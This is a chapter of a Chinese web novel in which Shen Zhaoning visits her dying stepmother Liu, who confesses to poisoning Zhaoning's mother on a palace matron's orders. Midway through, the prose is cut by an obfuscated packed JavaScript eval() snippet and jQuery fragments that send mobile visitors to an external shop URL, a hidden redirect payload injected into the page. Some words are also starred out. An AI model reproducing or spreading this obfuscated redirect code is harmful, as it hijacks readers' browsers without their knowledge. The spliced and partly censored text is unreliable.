消息是沈崇山亲自送到裴府来的。
那天傍晚，沈昭宁刚从督察院回来，正坐在书房里翻看钱女官和徐嬷嬷的档案比对。
周管事在门口通报了一声，说沈大人来了，脸色不太好。
沈昭宁放下笔走到偏厅，看见沈崇山站在门口没进来，手里攥着一封信，手指微微发抖。沈崇山瘦了很多，两鬓的白发比上次见时又多了一层，整个人站在暮色里像一截被风干了的老树皮。
“家庙那边递出来的。”沈崇山把信放在桌上，声音沙哑，“柳氏病重，大夫说也就是这几天的事了。她想见你一面。”
沈昭宁没有立刻回答。她低头看着桌上那封信，信封上歪歪扭扭写着“昭宁亲启”，不是柳氏平日的字迹，柳氏的字沈昭宁见过，在那些旧账册的边角上，细长而工整，是后宅妇人惯用的簪花小楷。这信封上的字又粗又抖，像是用尽了所有力气才写完的。
“什么时候的事？”沈昭宁问。
“前天夜里开始咯血，大夫说是肺上的毛病，这几个月在家庙里受了寒，一直拖着没治。”沈崇山说着，声音忽然低下去，“柳氏身边的婆子说，她已经两天没吃东西了，就撑着等你。”
沈昭宁把信拆开。信很短，字迹断断续续，墨迹深浅不一，像是分了好几次才写完的。
“昭宁，我知道你恨我。我要**。有些话再不说就来不及了。你母亲的事，还有人在后面。你来，我告诉你。”
她看完之后把信折好放回桌上，站起来整了整袖口。
“你要去？”沈崇山抬起头，眼睛里有一种复杂的情绪：是担心，是愧疚，还是单纯的不知所措，他自己大概也说不清。
“去。”沈昭宁说，“她这种人，到死都不会开口。如果只是想见我一面，用不着说后半句。”
沈崇山没有说话，只是侧身让开了门口的路。她从他面前走过时脚步顿了一下，没有回头。“父亲，你回去吧。我去就行。”
裴砚得知消息时正在书房里看折子。他把折子一合站起来说：“我陪你去。”沈昭宁摇了摇头。“家庙那地方窄，你在外面等我。有些话你在我旁边她不会说的。”
裴砚沉默了一瞬，然后说：“我在巷口等你。”
马车穿过大半个京城，停在沈家家庙所在的那条窄巷口。巷子里没有灯，只有远处一盏破旧的灯笼挂在歪斜的木杆上，被风吹得直晃。沈昭宁下了马车，推开那扇掉漆的木门，走进院子。
家庙还是老样子。正堂供着几尊旧佛，香火早就冷了，佛幡上积满了灰。院子里那棵老枣树光秃秃地戳在夜空里，枝条在风里发出干硬的摩擦声。守门的婆子见沈昭宁来了，指了指西厢尽头那间屋子。
沈昭宁推开门。
屋里只点了一盏油灯，灯油快熬干了，火光小得像一粒黄豆。榻上的帐子被撩开半边，柳氏半靠在引枕上，头发花白了大半，乱糟糟地散在肩上，脸上的皱纹比几个月前深了不止一倍。
柳氏的颧骨高高凸起，嘴唇干裂起皮，呼吸又浅又急，每吸一口气都带着一种细碎的、像破风箱一样的声响。沈昭宁走到榻边，在椅子上坐下，没有先开口。
柳氏睁开眼睛，眼白已经泛了黄，瞳孔涣散了一瞬才重新聚焦，看清面前的人是谁之后，嘴角动了一下，像是想笑，又像是在发颤。“我以为你不会来。”她的声音轻得像从朽木里挤出来的，含混而虚弱。
“你说有人还在后面。”沈昭宁说，“是谁？”
柳氏没有直接回答。她偏过头，目光越过沈昭宁的肩膀，落在窗外那棵老枣树的枯枝上。手指无意识地揪着被角。
“我嫁进沈家的时候，你才五岁。”柳氏忽然说了一句，声音很轻很慢，像是在翻一本放了太久的旧账，“你母亲待我不薄。她让我跟着学管家，让我经手账目，让我在沈家内宅里有体面。我知道她不是真心喜欢我，哪个正室会真心喜欢妾室？但她至少没有苛待过我，该给的份例一分不少，该有的体面一样不缺。”
柳氏停了一下，手指慢慢摩挲着被角上绣的那朵旧莲花。
“可我怕她。她太聪明了，太能干了。她坐在账房里翻账本，翻几下就能看出哪里不对。她跟你父亲说话，声音不大，但你父亲什么都听她的。她从来不跟人吵架，不甩脸子，不告状，可她往那里一站，我就觉得矮她一截。”
沈昭宁没有说话。她坐在椅子上，双手平放在膝盖上，一动没动。
“后来有人告诉我，她活不久了。”柳氏的声音忽然低下去，语气从回忆变成了恐惧，“那个宫里来的嬷嬷，她说你母亲在查不该查的事，查到了就会拖累沈家全家。她说只要我不说出去，她会替我安排好一切。我当时想，反正她也活不久了，不如就顺着这条路走，等她走了，我就是这个家的女主人。”
柳氏咳了一声，痰里带着血丝，用手帕捂住嘴，帕子上已经洇了好几团暗红色的血印。喘了几口气继续说下去。“所以我就听了。她把药方给我，我就换了。她让我看着你母亲喝下去，我就看着。你母亲病得越来越重，我好几次想停手，她看我的时候，像是在看着我，又像是在看别的地方。她老是说，她想看桑葚熟了没有，春天到了就想带阿宁去庄子上摘桑葚。我不敢应她，我怕她一提起你，就会突然问我为什么还要给她换药。”
沈昭宁的喉咙动了一下，面上纹丝不动，但沈昭宁搭在膝上的手慢慢收紧了些。母亲盼着春天带她去庄子上摘桑葚。
那年春天沈昭宁天天趴在窗口望着院子里的桑树，等了很久很久，等到母亲咽了气，等到院子里的桑葚落了满地也没人摘。那个抱着沈昭宁坐在窗台上的人终究没能等到春天过去。
柳氏没有注意到沈昭宁的变化，或是已经看不清了。柳氏自顾自往下说，语速越来越慢。
“我以为她**以后，我就能做沈家的主母。可她**以后，我反而更怕了。以前她在的时候，我只是怕一个人。她**，我怕所有人。怕宫里那个嬷嬷再找我，怕你父亲知道真相，怕你长大以后像她一样聪明。我一闭眼就在我眼前晃。我越怕，就越是把她的东西全藏起来。我拿了她很多东西，可我一件都不敢戴。我只敢放在妆奁最底层的抽屉里。”
沈昭宁开口了，声音平静得近乎冷酷。“那对耳坠，是我母亲留给我的。你拿走的时候知不知道？”
柳氏低下头，整个人缩在被子里，像一只被拔了**的雀鸟。“知道。”
“知道还拿？”
“我想让玉柔戴。”柳氏的声音小得几乎听不见，“可她戴了不好看。不像你母亲，也不像你。她戴着那对耳坠，我看着别扭，像是偷别人的东西。”
柳氏忽然从枕头底下摸出一个小布包，颤抖着递给沈昭宁。布包已经洗得发白，边角磨出了毛边，里面裹着一对白玉耳坠。沈昭宁一眼就认出来了，那是母亲留给她的，前世被柳氏偷走换成假的那对。白玉温润如凝脂，莲花雕得精致，是母亲专为她打的。沈昭宁接过来，握在掌心里，没有说话。
油灯的火苗跳了一下，蜡油滴在桌上，积成一摊小小的水洼。沈昭宁把耳坠放好后重新看向柳氏。
“徐嬷嬷是戚贵妃宫里的掌事宫女，这个你已经交代过了。但你说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575422|204533||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的是‘嬷嬷’，不是‘贵人’。柳氏，你见过戚贵妃本人吗？”
柳氏猛地抬起头，瞳孔里闪过一丝沈昭宁从未见过的情绪，是一种对同类的、近乎本能的警觉。
“没有。”柳氏说，声音忽然稳了一瞬，像是在强调一个极重要的事实，“我从来没见过贵妃本人。我只见过那个嬷嬷。她穿着宫里嬷嬷的衣裳，左边眉尾有颗痣。她从来不提贵妃娘娘的名字，也不说自己是哪个宫的。她只是替人传话，但她的口音、做派、走路的架势，不是普通的宫人。你信不信？”
“信。”沈昭宁收下这句话，没有纠缠，她沈昭宁的目光始终没有离开柳氏的眼睛，“你方才说，还有人站在更上面的位置。那个人是谁？”
柳氏沉默了很长时间。窗外的风停了，院子里的枣树不再摇晃。她咳了几声后把脸从被角上移开，用一种近乎哀求的眼神看着沈昭宁。
“我不知道。我真的不知道她叫什么，长什么样。我只知道她身边不止一个嬷嬷，那个徐嬷嬷回宫之后还要再跟人说。还有一个人，那个人比嬷嬷更高。我当时只是沈家的妾室，她们不会让我见那个人的面，但我知道她一定在，因为每次徐嬷嬷给我递话，都是在宫门落钥之后。宫门落钥之后还能出宫的人，整个后宫找不出几个。”
沈昭宁站起来，低头看着蜷缩在被子里瘦成一团的柳氏，看着她泛黄的眼白、干裂的嘴唇和帕子上那几团触目惊心的暗红色血印，忽然觉得这个人可怜。
不是值得原谅的可怜，是一种骨头里都在发冷的可怜。柳氏一辈子都在仰视别人，仰视她母亲，仰视那个宫里来的嬷嬷，仰视那些她连面都不敢见的贵人。
柳氏以为替那些人做事就能分到一点残羹，结果被人用完了就扔在家庙里等死。
“你会死在这里。”沈昭宁说，声音不高，但每一个字都很清楚，“不是为任何人抵命，孤零零的，像一只被人拔了**的雀鸟。”
柳氏的眼泪终于淌下来了。她把脸埋进被子里，肩膀剧烈地抖动。哭声从被子里闷闷地传出来，和那只快熬干的油灯一起，在阴暗的旧屋子里慢慢熄灭。
沈昭宁没有再说话，推开房门，走进院子里。柳氏的哭声从身后追上来，压得很低很闷，像是从地底下钻出来的。
沈昭宁站在院子里仰起头看了一眼夜空，想起了前世病死在侯府榻上的自己，同样是被当成弃子，同样是被用完就扔。她和柳氏，都在同一张棋盘上做了别人的棋子。只不过沈昭宁运气好，重活了一回，而柳氏连重活的机会都没有。
巷口停着那辆青帷马车，裴砚挑着一盏马灯站在车旁，见沈昭宁推开门，没有问“说了什么”，只是走过去把灯笼微微举高了些。
沈昭宁低头握紧手里那只洗得发白的小布包，把耳坠摊在手心给裴砚看了一眼。灯光落在白玉莲花上，温润如凝脂，和她母亲留在信末那些细密**里的薄绢一样，被遗忘了太久，但从未真正失去温度。
“回去吧。”沈昭宁说，“她今晚还不会死。明天晚上她才会把最后的话说出来。”
裴砚没有追问为什么是明天晚上，只是点了点头，替沈昭宁掀开车帘。马车在夜色中驶回灯火渐稀的街市。
沈昭宁靠着车壁闭了闭眼，把柳氏说的每一个字又重新滤了一遍。宫门落钥之后还能出宫的嬷嬷背后那个人，才是真正站在旧女官和徐嬷嬷头顶上的贵人。
她母亲不是被一个嬷嬷杀死的，是被那张从宫里一直铺到沈家后宅的网缠死的。
而现在，那张网正从宫墙的阴影里被沈昭宁一寸一寸地连根拔出。